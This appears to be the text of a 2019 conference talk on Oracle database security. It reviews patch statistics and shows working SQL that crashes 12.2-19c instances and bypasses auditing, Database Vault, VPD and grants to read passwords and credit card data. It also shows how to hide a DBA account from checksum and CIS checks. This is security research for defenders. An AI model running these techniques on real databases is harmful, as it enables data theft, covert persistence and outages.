Best of Oracle Security 2019

What happened in 2019?
Introduction

What will be shown in the next 45 minutes?
- Oracle Security Patches
- Lateral Thinking & Oracle Security
  - How to bypass Auditing, Database Vault, VPD / RAS,
  - Outlook 2020
Database Vulnerabilities and CPU

- More security bugs, trend change (from 14 in 2018, 12 in 2018 to 27 in 2019)

- It seems just a few people are directly looking at Oracle database security bugs. In 2019 only bugs from 4 named external people (Jayson Grace CVE-2019-2484, rgod CVE-2019-2799, Alexander Kornbrust CVE-2018-11058, Eddie Zhu CVE-2019-2444) were mentioned in the CPU
Oracle Vulnerabilities 2019

Number of vulnerabilities in Oracle database reduced again


- 9 remote exploitable bugs
  - January 2019 CPU (3 Vulnerabilities – 2 remote)
  - April 2019 CPU (6 Vulnerabilities – 4 remote)
  - July 2019 CPU (8 Vulnerabilities – 1 remote)
  - October 2019 CPU (10 Vulnerabilities – 2 remote)
Future Security Bug Trend

This year was quite successful for my research

- Critical architecture flaw in majority of relational databases (Oracle, MySQL, MSSQL, DB2) found. Will be shown next year in "Best of Oracle 2020"
- Multiple bugs in Oracle 18c/19c
- Multiple bugs in Oracle Cloud Control 13
- New approach to bypass Oracle Security Features
Future Security Bug Trend

Number of Bugs will increase… Here a list of my open Oracle security bugs

- **Oracle 18c/19c I (53)**
  - S1147132, S1139449, S1071525, S1139420, S1139871, S1188355, S1170396, S1147121, S1073602, S1139431,
  - S1139408, S1071539, S1139372, S1139372, S1071518, S1139386, S1073061, S1151927, S1082391, S1214682
  - S1071502, S1071502, S1139412, S1139355, S1139863, S1176111, S1147166, S1139393, S1137595, S1203293,
  - S1203303, S1203319, S1203326, S1203335, S1203361, S1203357, S1203388, S1203374, S1203390, S1208350,
  - S1208366, S1208366, S1208378, S1210087, S1210115, S1212046, S1215743, S1214630, S1214648, S1214648,
  - S1214653, S1214669, S1214676

- **Cloud Control 13c (41)**
  - S1207218, S1207225, S1207239, S1207256, S1207241, S1207260, S1207273, S1207287, S1207304, S1208036
  - S1207315, S1207327, S1207343, S1207362, S1207358, S1207370, S1207406, S1207391, S1207389, S1207410,
  - S1207842, S1207857, S1207861, S1207874, S1207888, S1207900, S1207928, S1207890, S1207916, S1207963,
  - S1207937, S1207944, S1207959, S1207971, S1207985, S1207992, S1208015, S1208027, S1208004, S1208058,
  - S1208043
<table>
<thead>
<tr>
<th>ZDI ID</th>
<th>AFFECTED VENDOR(S)</th>
<th>SEVERITY</th>
<th>REPORTED</th>
<th>DEADLINE</th>
</tr>
</thead>
<tbody>
<tr>
<td>ZDI-CAN-0842</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-07-16 (12 days ago)</td>
<td>2019-11-15</td>
</tr>
<tr>
<td>ZDI-CAN-0674</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-07-16 (12 days ago)</td>
<td>2019-11-15</td>
</tr>
<tr>
<td>ZDI-CAN-0673</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-07-16 (14 days ago)</td>
<td>2019-11-13</td>
</tr>
<tr>
<td>ZDI-CAN-0618</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-07-16 (14 days ago)</td>
<td>2019-11-13</td>
</tr>
<tr>
<td>ZDI-CAN-0572</td>
<td>Oracle</td>
<td>CVSS: 8.8</td>
<td>2019-06-26 (36 days ago)</td>
<td>2019-10-24</td>
</tr>
<tr>
<td>ZDI-CAN-0417</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-05-29 (62 days ago)</td>
<td>2019-09-26</td>
</tr>
<tr>
<td>ZDI-CAN-0410</td>
<td>Oracle</td>
<td>CVSS: 8.2</td>
<td>2019-05-29 (62 days ago)</td>
<td>2019-09-26</td>
</tr>
<tr>
<td>ZDI-CAN-0317</td>
<td>Oracle</td>
<td>CVSS: 7.5</td>
<td>2019-05-10 (81 days ago)</td>
<td>2019-09-07</td>
</tr>
<tr>
<td>ZDI-CAN-0467</td>
<td>Oracle</td>
<td>CVSS: 7.5</td>
<td>2019-05-02 (89 days ago)</td>
<td>2019-08-30</td>
</tr>
<tr>
<td>ZDI-CAN-0566</td>
<td>Oracle</td>
<td>CVSS: 8.8</td>
<td>2019-04-26 (95 days ago)</td>
<td>2019-08-24</td>
</tr>
<tr>
<td>ZDI-CAN-7226</td>
<td>Oracle</td>
<td>CVSS: 7.8</td>
<td>2019-01-17 (194 days ago)</td>
<td>2019-05-17</td>
</tr>
<tr>
<td>ZDI-CAN-7159</td>
<td>Oracle</td>
<td>CVSS: 6.5</td>
<td>2019-01-02</td>
<td>2019-05-02</td>
</tr>
</tbody>
</table>
Security (?) Bug from community.oracle.com
I've crashed 12.2 instance by accident
The developer wrote some code which completely terminated the instance
I started to investigate the root of the issue and have found the code which terminates the instance
with granted "CONNECT" only
I have tested this code on Linux and Windows servers with different patch level of 12.2 database,
everywhere it works identically - the instance terminates like this:

    opiodr aborting process unknown ospid (1881) as a result of ORA-600
    ORA-00600: internal error code, arguments: [17147], [0x0A49595B0], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []
    USER (ospid: 1216): terminating the instance due to error 501
    System state dump requested by (instance=1, osid=1216 (CLMN)), summary=[abnormal instance
termination].
    Dumping diagnostic data in directory=[cdmp_20190321161654], requested by (instance=1,
osid=1216 (CLMN)), summary=[abnormal instance termination].
    Instance terminated by USER, pid = 1216

Is it a typical behavior or malfunction? I tried to install patch which I've found by MOS but it doesn't
help: 23493031: ORA-00600: INTERNAL ERROR CODE, ARGUMENTS: [17147]

Here is the code (don't try it on prod!):

https://community.oracle.com/thread/4212218
Crash Oracle 12.2-19c

```
var v_res number;
var v_aaa number;
var v_bbb number;
var v_ccc number;
var v_ddd number;
var v_eee number;
var vfff number;

WITH

    FUNCTION get_number(p_aaa in number,
                           p_bbb in number,
                           p_ccc in number,
                           p_ddd in number,
                           p_eee in number,
                           pfff in number) RETURN NUMBER IS

    BEGIN
        RETURN :v_res + 12345;
    END;

SELECT DUMMY, get_number(:v_aaa,
                          :v_bbb,
                          :v_ccc,
                          :v_ddd,
                          :v_eee,
                          :vfff)

FROM DUAL;
/
```

https://community.oracle.com/thread/4212218
Jan 2019 - Nov 2019
January 2019

Oracle CPU January 2019 *

January 2019 CPU*

- 3 security fixes (2 remote exploitable)
- 2 RDBMS (CVSS3 8.2, 7.1)
- 1 Java VM (CVSS3 3.5)

February 2019

- Nothing
March 2019

- nothing special happened
April 2019

Oracle CPU April 2019*

April 2019 CPU*

- 6 security fixes (4 remote exploitable)
- 2 Core RDBMS (CVSS3 9.1, 5.3)
- 2 Portable Clusterware (CVSS3 8.2)
- 1 Java VM (CVSS 7.5)
- 1 Data Pump (CVSS3 6.6)

May 2019

None
June 2019

None
July 2019

- Oracle CPU July 2019 *

July 2019 CPU*

- 9 security fixes (1 remote exploitable)
- 3 Core RDBMS (CVSS 8.4, 7.6, 4.0)
- 1 Oracle ODBC Driver (CVSS 7.5, remote)
- 1 Java VM (CVSS 6.8)
- 1 APEX (CVSS 5.4)
- 1 Oracle Text (CVSS 4.6)
- 1 Spatial (CVSS 3.5)

CREATE ANY INDEX can be used to bypass AUDITING.

Create a full text index and read the data (as token) directly from the index.
Exploit 9, Access Data without triggering Auditing

Sample Oracle: Access a table, CREATE INDEX/CREATE ANY INDEX privilege required

```sql
sqlplus / as sysdba

-- create a test user
grant dba to secalert identified by seca;

conn secalert/secalert

-- create a test table with password.
create table myuser (username varchar2(10),password varchar2(20));

-- insert data and commit
insert into myuser values ('ALEX','XELA');
insert into myuser values ('GUMHER','NewPW');
insert into myuser values ('SECALERT','ZZZZPW');
insert into myuser values ('ADMIN','Sup123');
commit;

-- Protect the table myuser using a unified audit policy and activate the policy.

-- Create the full text index (not a select)
CREATE INDEX system.myuserindex ON secalert.myuser(password) INDEXTYPE IS CTXSYS.CONTEXT;

-- Retrieve the value from the table
select token_text from system.dr$myuserindex$i;

Output:
-- All cleartext passwords from the previous created myuser table.
```

S1082410 - BYPASS UNIFIED_AUDIT_TRAIL USING ORACLE FULLTEXT INDEXES (Under investigation / Being fixed in main codeline)
August 2019

- SQL Developer 19.2 released *
  SQLcl now allows you to enable SQL Injection warnings when creating/compiling PL/SQL.

September 2019

- Free Ebook - Best practices for a defense-in-depth, layered database security strategy
- OOW 2019 - Oracle Data Safe *
- OOW 2019 - Scanning Oracle Databases for malicious changes **
- OOW 2019 - Understanding Security Advisories and Identifying Mitigating Controls ***

*** [https://static.rainfocus.com/oracle/oow19/sess/1553719187524001MOlF/PF/OOW_Understanding_Advisories_1568789579199001k9i1.pdf](https://static.rainfocus.com/oracle/oow19/sess/1553719187524001MOlF/PF/OOW_Understanding_Advisories_1568789579199001k9i1.pdf)
Oracle Data Safe (Cloud)

Scanning Oracle Database for malicious changes (Seek)

- Rodrigo Jorge, good Oracle Security Expert from Brazil, about malicious changes (Database Rootkits).
- He showed some of my old concepts from 2004 (still valid).
- New tool ORACHKSUM to generate checksums of database objects.
- xORACHKSUM scans for changes in: Views, plsql objects, logon triggers, ...
- Rodrigo Jorge: “Security is like hide and seek game,”

Bypass ORACHKSUM (Hide) or Security is like hide and seek game

- ORACHKSUM can be used to generate checksums of database objects (which is useful)

- Can we bypass Checksums?
  Instead of modifying the database object we modify the data itself

Hide User

SQL> create user c##xxxx identified by xxxx;

SQL> grant dba to c##xxxx;

— Change the type# to 2
SQL> update sys.user$ set type#=2 where name='C##XXXXâ€˜;

— connect with the user with type#=2
SQL> conn c##XXXX/xxxx

-------------------
CREATE OR REPLACE FORCE NONEDITIONABLE VIEW "SYS"."ALL_USERS" ("USERNAME", "USER_ID", "CREATED", "COMMON", "ORACLE_MAINTAINED", "INHERITED", "DEFAULT_COLLATION", "IMPLICIT", "ALL_SHARD") AS
select u.name, u.user#, u.ctime,
    decode(bitand(u.spare1, 4224), 0, 'NO', 'YES'),
    decode(bitand(u.spare1, 256), 256, 'Y', 'N'),
    decode(bitand(u.spare1, 4224),
        128, decode(SYS_CONTEXT('USERENV', 'CON_ID'), 1, 'NO', 'YES'),
        4224, decode(SYS_CONTEXT('USERENV', 'IS_APPLICATION_PDB'),
            'YES', 'YES', 'NO'),
    'NO'),
    nls_collation_name(nvl(u.spare3, 16382)),
    -- IMPLICIT
    decode(bitand(u.spare1, 32768), 32768, 'YES', 'NO'),
    -- ALL_SHARD
    decode(bitand(u.spare1, 16384), 16384, 'YES', 'NO')
from sys.user$ u
where u.type# = 1;
-------------------
Understanding Security Advisories and Identifying Mitigating Controls

Understanding a vulnerability in the advisory

- For database risk matrix entries, additionally check the “Package and/or Privilege Required” to determine the risk

<table>
<thead>
<tr>
<th>CVE#</th>
<th>Component</th>
<th>Package and/or Privilege Required</th>
<th>Protocol</th>
<th>Remote Exploit without Auth?</th>
<th>CVSS VERSION 3.0 RISK (see Risk Matrix Definitions)</th>
<th>Supported Versions Affected</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2018-11058</td>
<td>Core RDBMS</td>
<td>None</td>
<td>TCPS/HTTPS</td>
<td>Yes</td>
<td>Base Score: 9.8, Network: Low, None: None, Unchanged: High, Confidentiality: High, Integrity: High, Availability: High</td>
<td>11.2.0.4, 12.1.0.2, 12.2.0.1, 18c, 19c</td>
<td>See Note 1</td>
</tr>
<tr>
<td>CVE-2019-2776</td>
<td>Core RDBMS</td>
<td>Create Any Index</td>
<td>OracleNet</td>
<td>No</td>
<td>Base Score: 7.6, Network: Low, High, None: Charged, High: Low, None: None</td>
<td>12.1.0.2, 12.2.0.1, 18c, 19c</td>
<td></td>
</tr>
</tbody>
</table>
October 2019

- Oracle CPU October 2019 *
- How to Read Encrypted Data **

** http://blog.tiento.pl/how-to-read-encrypted-tablespace/
October 2019 CPU*

- 10 security fixes (2 remote exploitable)
- 1 Java VM (CVSS 6.8, remote)
- 1 Jackson Databind (CVSS 5.7)
- 7 Core RDBMS (CVSS 5.0-2.3)

October 2019 CPU*


S1090423/CVE-2019-2939:
* Subject: AUDITING DOES NOT WORK ON WRITE ON DIRECTORY FOR DBMS_LOB
* CVSSv3.0 Base Score: 5
* CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
* Credited As: Alexander Kornbrust of Red Database Security

S1090447/CVE-2018-2875:
* Subject: AUDITING DOES NOT WORK ON WRITE ON DIRECTORY FOR DBMS_ADVISOR
* CVSSv3.0 Base Score: 5
* CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
* Credited As: Alexander Kornbrust of Red Database Security

S1207294/CVE-2019-2895:
* Subject: PACKAGE 9 of 42 EM_DBM PRIV ESCALATION VIA DBMS_ASSERT NOT FULLY QUALIFIED
* CVSSv3.0 Base Score: 7.5
* Credited As: Alexander Kornbrust of Red Database Security

How to Read Encrypted Data **

- Adam Boliński showed in a blog entry how to read TDE encrypted data from memory.
- Important to know in cloud environments
- The concept is based on Kamil Stawiarski ideas.

```bash
1 | sgadump -b 8192 -d 73351 -s 983045 -o emps1
2 | Dumped 2 blocks to emps1
```

So it is encrypted you can't read it on disk, but let's see our two blocks dump.

```
1 | [root@meshmart rico2]# python rico2.py listfile.rico2
2 | RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl)
3 | This is open source project to map BBED functionality.
4 | If you know how to use BBED, you will know how to use this one.
5 | Not everything is documented but in most cases the code is trivial to interpret
6 | So if you don't know how to use this tool - then maybe you shouldn't ;)
7 | Usage: python2.7 rico2.py listfile.txt
8 | The listfile.txt should contain the list of the DBF files you want to read
```

Bypass auditing using alter system dump datafile

- Get the block number where the tabledata is stored:
  ```sql
  select distinct dbms_rowid.rowid_block_number(rowid) from sys.user$;
  ```

- Get the name of the tablespace (SYS.USER$ is always in 1):
  ```sql
  select tablespace_name from user_segments where segment_name in ('USER$');
  ```

- Get the file id of the tablespace (in this case USERS):
  ```sql
  select file_id from dba_data_files where tablespace_name='USERS';
  ```

- Dump the content of the datablock. This data can be found in the tracefile:
  ```sql
  alter system dump datafile 1 block 209;
  alter system dump datafile 1 block min 209 block max 213;
  ```
November 2019

DOAG 2019

Roles & Privileges
Roles & Privileges

Sounds like a simple topic but it is really complicated to find the effective privileges or all users having a certain privilege/role.
DBA Role - History of SQL

Several security benchmarks (CIS, DISA, Oracle,…) are using a simple query to retrieve all users having the DBA-role

```
select grantee, granted_role
from dba_role_privs
where granted_role='DBA'
and grantee in ('SYS','SYSTEM');
```
DBA Role - History of SQL IN CIS

Improvement (?) - Avoid hardcoded strings (,"SYS'","SYSTEM") and use oracle_maintained.

Still correct?

```sql
select grantee, granted_role
from dba_role_privs
where granted_role='DBA'
and grantee not in (select username from dba_users where oracle_maintained='Y');
```
DBA Role - History of SQL in CIS

Good idea?

- `grant dba to doag2019 identified by Doag!xyz;`

- Check it, DOAG2019 is Oracle_maintained
  
  ```sql
  select username,oracle_maintained from dba_users where username='DOAG2019';
  ```

- Now perform a simple update
  
  ```sql
  update sys.user$ set spare1='384' where name='DOAG2019';
  ```

- The user is now Oracle_maintained
  
  ```sql
  select username,oracle_maintained from dba_users where username='DOAG2019';
  ```

- DOAG2019 is not found by the previous query

- Grant dba to dbsnmp (which is oracle_maintained) is also excluded
Users with nested roles are missing too

```sql
select a.grantee, u.account_status, a.grant_way, granted_role,
     u.created, u.last_login, Oracle_maintained
from
  (select case level_no when 1 then 'DIRECT' else 'INDIRECT-'||
           to_char(level_no) end grant_way, grantee, granted_role
     from
       (SELECT DISTINCT level level_no, grantee, granted_role
        FROM dba_role_privs
        WHERE grantee NOT in ('SYS','SYSTEM')
        START WITH granted_role = 'DBA'
        CONNECT BY PRIOR grantee = granted_role)
  )
  a
  inner join
  users u
  on a.grantee = u.username
```
Do we check Proxy Users?
Oracle Proxy User

CREATE USER proxybenutzer
IDENTIFIED BY proxypassword;
GRANT create session TO PROXYBENUTZER;
ALTER USER system GRANT CONNECT
THROUGH proxybenutzer;

sqlplus proxybenutzer[scott]/proxypassword

==> proxybenutzer has DBA rights
Oracle Proxy User

The usage of „ALTER USER“ in dynamic SQL is often unsecure (>90% in my experience) and can be used to become DBA

FUNCTION CHECK_DB_PASSWORD (P_USER_NAME VARCHAR2, P_PASSWORD VARCHAR2) RETURN BOOLEAN IS

BEGIN
L_STMT:= 'ALTER USER "' || P_USER_NAME || '" IDENTIFIED BY "' || P_PASSWORD || '"';
EXECUTE IMMEDIATE L_STMT;
**Proxy Users added - complete?**

```sql
select a.grantee, u.account_status, a.grant_way, granted_role,
       u.created, u.last_login, Oracle_maintained
from (select case level_no when 1 then 'DIRECT' else 'INDIRECT-' ||
                      to_char(level_no) end grant_way, grantee, granted_role
       from (SELECT DISTINCT level level_no, grantee, granted_role
             FROM dba_role_privs WHERE grantee NOT in ('SYS', 'SYSTEM')
             START WITH granted_role = 'DBA'
             CONNECT BY PRIOR grantee = granted_role )
       union all
       select 'PROXY', proxy, 'DBA'
       from proxy_users
       where client in (SELECT GRANTEE -- here we have to include ALL users with role DBA, also Oracle_maintained
       FROM dba_role_privs where grantee in (select username from all_users)
       START WITH granted_role = 'DBA'
       CONNECT BY PRIOR grantee = granted_role )
       ) a, dba_users u
where a.grantee = u.username (+)
```
And the RAS Users?

(Hint: Oracle installs by default an active default user XS$GUEST. This user can’t be dropped/locked)
DBA Role - History of SQL IN CIS

Finished? Yes (so far)

+ code for the RAS_USER-Privileges
create or replace view v_all_privs as

SELECT PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME, COMMON,
LISTAGG(GRANT_TARGET, ',') WITHIN GROUP (ORDER BY GRANT_TARGET) AS GRANT_SOURCES, -- Lists the sources of the permission
MAX(ADMIN_OR_GRANT_OPT) AS ADMIN_OR_GRANT_OPT, -- MAX acts as a Boolean OR by picking 'YES' over 'NO'
MAX(HIERARCHY_OPT) AS HIERARCHY_OPT -- MAX acts as a Boolean OR by picking 'YES' over 'NO'
FROM (WITH ALL_ROLES_FOR_USER AS (
    SELECT DISTINCT CONNECT_BY_ROOT GRANTEE AS GRANTED_USER, GRANTED_ROLE
    FROM DBA_ROLE_PRIVS
    CONNECT BY GRANTEE = PRIOR GRANTED_ROLE)
SELECT PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME, COMMON,
    REPLACE(GRANT_TARGET, USERNAME, 'Direct to user') AS GRANT_TARGET,
    ADMIN_OR_GRANT_OPT, HIERARCHY_OPT
    FROM ( -- System privileges granted directly to users
    SELECT distinct PRIVILEGE, NULL AS OBJ_OWNER, NULL AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, ADMIN_OPTION AS ADMIN_OR_GRANT_OPT, NULL AS HIERARCHY_OPT
    FROM DBA_SYS_PRIVS
    WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS)
    UNION ALL
    -- System privileges granted users through roles
    SELECT PRIVILEGE, NULL AS OBJ_OWNER, NULL AS OBJ_NAME, ALL_ROLES_FOR_USER.GRANTED_USER AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, ADMIN_OPTION AS ADMIN_OR_GRANT_OPT, NULL AS HIERARCHY_OPT
    FROM DBA_SYS_PRIVS
    JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_SYS_PRIVS.GRANTEE
    UNION ALL
    -- Object privileges granted directly to users
    SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTABLE, HIERARCHY
    FROM DBA_TAB_PRIVS
    WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS)
    UNION ALL
    -- Object privileges granted users through roles
    SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, ALL_ROLES_FOR_USER.GRANTED_ROLE AS GRANT_TARGET, GRANTABLE, HIERARCHY
    FROM DBA_TAB_PRIVS
    JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_TAB_PRIVS.GRANTEE
    UNION ALL
    -- Column privileges granted users through roles
    SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME||'.'||COLUMN_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, ALL_ROLES_FOR_USER.GRANTED_ROLE AS GRANT_TARGET, GRANTABLE, null
    FROM DBA_COL_PRIVS
    JOIN ALL_ROLES_FOR_USER ON ALL_ROLES_FOR_USER.GRANTED_ROLE = DBA_COL_PRIVS.GRANTEE
    UNION ALL
    -- Column privileges granted directly to users
    SELECT distinct PRIVILEGE, OWNER AS OBJ_OWNER, TABLE_NAME||'.'||COLUMN_NAME AS OBJ_NAME, GRANTEE AS USERNAME, COMMON, GRANTEE AS GRANT_TARGET, GRANTABLE, null
    FROM DBA_COL_PRIVS
    WHERE GRANTEE IN (SELECT USERNAME FROM DBA_USERS)
)
DISTINCT_USER_PRIVS
GROUP BY PRIVILEGE, OBJ_OWNER, OBJ_NAME, USERNAME, COMMON
Lateral Thinking
(Out of the box-Denken)
Lateral Thinking

Lateral thinking.

People tend to prefer the simple way instead of thinking out of the box. People do prefer direct solutions instead of indirect solutions.
Lateral Thinking and Oracle Security

Lateral thinking in Oracle allows to identify incredible easy ways to bypass Oracle security features like privileges, database Vault, Auditing, VPD, …
Lateral Thinking Basics

Normal approach from A to B

A \[\rightarrow\] B

Hacker approach. Instead of going from A to B, go from A \[\rightarrow\] C \[\rightarrow\] B
Sample 1 - Bypass Grants

Oracle 12c+: SYSTEM is no longer able to access the table SYS.USER$ (contains password hashes (verifiers)).
Sample 1 - Bypass Grants

- **ORACLE_OCM** is able to access SYS.USER$
Sample 1 - Bypass Grants

- Create a view in the schema ORACLE_OCM.

**SYSTEM or DBA**
Create Any View

**ORACLE_OCM**
View V_USERS$
Sample 1 - Bypass Grants

- Select from the view ORACLE_OCM.V_USER$
Sample 1 - Code

Tested with Oracle 18c, Fixed with Oracle 19c

--1. Connect as SYSTEM

-- 2. Query the sys.user$ table (not accessible)
SQL> select * from sys.user$;
select * from sys.user$
  *
FEHLER in Zeile 1:
ORA-01031: Nicht ausreichende Berechtigungen

— 3. Create a new view
SQL> create view oracle_ocm.pwhash as select * from sys.user$;
View wurde erstellt.

-- 4. Query user$ via the previously created view
SQL> select name, spare4 from oracle_ocm.pwhash;
…..
Oracle Database Vault

Can we use lateral thinking to bypass DB Vault?
Controls for Privileged Accounts*

Privileged database accounts are one of the most commonly used pathways for gaining access to sensitive applications data in the database. While their broad and unrestricted access facilitates database maintenance, the same access also creates a point of attack for gaining access to large amounts of data. Oracle Database Vault Realms around application schemas, sensitive tables and stored procedures provide controls to prevent privileged accounts from being exploited by hackers and insiders to access sensitive application data.

Figure 1. Oracle Database Vault Realms block access from privileged accounts

SYS (or other DBAs) are no longer able to access using SELECT ANY TABLE. But a simple bypass is easy to achieve…
SYS (or any other user) is no longer able to access using SELECT ANY TABLE. But a simple bypass is easy to achieve...

Realm Attendee MEDIAPP can access the Realm

- MEDI
- Patient1. anamnese1
- Patient2. anamnese2
- Patient3. anamnese3
- ...

MEDIAPP
SYS (or any other user) is no longer able to access using SELECT ANY TABLE. But a simple bypass is easy to achieve...
SYS (or any other user) is no longer able to access using SELECT ANY TABLE. But a simple bypass is easy to achieve…
SQL> conn dbvault/mydoagpw1

begin DBMS_MACADM.CREATE_REALM(

realm_name => 'MEDI Protections',
description => 'Realm to protect MEDI schema',

enabled => DBMS_MACUTL.G_YES,
audit_options => DBMS_MACUTL.G_REALM_AUDIT_FAIL, realm_type => 1); end; /

begin DBMS_MACADM.ADD_OBJECT_TO_REALM(

realm_name => 'MEDI Protections', object_owner => 'MEDI', object_name => '%',
object_type => 'TABLE'); end; /

begin DBMS_MACADM.ADD_AUTH_TO_REALM(

realm_name => 'MEDI Protections',
grantee => 'MEDI',
auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER); end; /

begin dbms_macadm.add_auth_to_realm(

realm_name => 'MEDI Protections',
grantee => 'MEDIREAD',
auth_options => DBMS_MACUTL.G_REALM_AUTH_PARTICIPANT); end; /
-- Test if database vault works

-- First, connect as user mediread and access the table containing medical data

SQL> conn mediread/mediread
Connect durchgeführt.

SQL> select count(*) from medi.meditest1;

COUNT(*)
---------
  38

-- Second, connect as SYSDBA-user and try to access the table containing medical data

SQL> conn / as sysdba
Connect durchgeführt.

SQL> select count(*) from medi.meditest1;

select count(*) from medi.meditest1 *

FEHLER in Zeile 1:
ORA-01031: Nicht ausreichende Berechtigungen -- fails, blocked by Database Vault
Sample 2c - Code

SQL> create view mediread.test as select * from medi.meditest1;

SQL> select count(*) from mediread.test;

COUNT(*)
---------
  38

SQL> show user
USER ist „SYS"
Oracle Auditing (Native and Unified) as well as 3rd-party solutions (McAfee DAM, Guardium, ...) are often checking the SELECT statement only

Sample:
Get everyone reading the Creditcard-Table

(Oracle classic) AUDIT SELECT ON APP.CREDITCARD

(Oracle unified) CREATE AUDIT POLICY myCC ACTIONS SELECT ON APP.CREDITCARD,

(McAfee DAM) cmdtype='SELECT' and object = 'CREDITCARD'
Challenge:
Can we access / select data without using SELECT?
Sample 3 - Bypass Auditing and VPD

- Describe how auditing works (checks exact statement). Find alternatives (returning into, Undo TBS)
Sample 3 - Bypass Auditing /VPD

- We saw already the sgadump example
- And the alter system dump datafile
- But there are a few more
Sample 3 - Bypass Auditing /VPD / RAS

- VPD is an old (and proven, since 8.1.7.4) and RAS (12.1) technology to do row level security
- VPD / RAS adds an additional WHERE condition to every SQL statement (e.g. for a DBA: where 1=0)
- EXEMPT ACCESS POLICY is the privilege to disable VPD for a certain user
- Many VPD users are protecting only the SELECT queries (but not UPDATE / DELETE / INDEX)

```sql
select * from dba_policies
where SEL='YES' and (UPD='NO' or DEL='NO' or IDX='NO');
```
Flashback Transaction Query

- Requires supplemental log data
- Contains the undo-SQL
- Undo for DELETE is the INSERT command

Preparation:

```sql
alter system add supplemental log data;

alter table creditcard row movement;
```
delete from creditcard;

select undo_sql from flashback_transaction_query where table_name='CREDITCARD';

==> now we are getting all INSERT into CREDITCARD including all table data

rollback;
Returning into

- The RETURNING INTO clause specifies the variables in which to store the values returned by the statement to which the clause belongs.

- The variables can be either individual variables or collections. If the statement affects no rows, then the values of the variables are undefined.

- The static RETURNING INTO clause belongs to a DELETE, INSERT, or UPDATE statement. The dynamic RETURNING INTO clause belongs to the EXECUTE IMMEDIATE statement.
DECLARE
    TYPE t_cc_tab IS TABLE OF creditcard%ROWTYPE;
    l_cc_tab t_cc_tab;
BEGIN
    DELETE FROM CREDITCARD
    RETURNING id, cc, cvv, firstname, lastname
    BULK COLLECT INTO l_cc_tab;
    rollback;
    FOR i IN 1..l_cc_tab.LAST
        LOOP
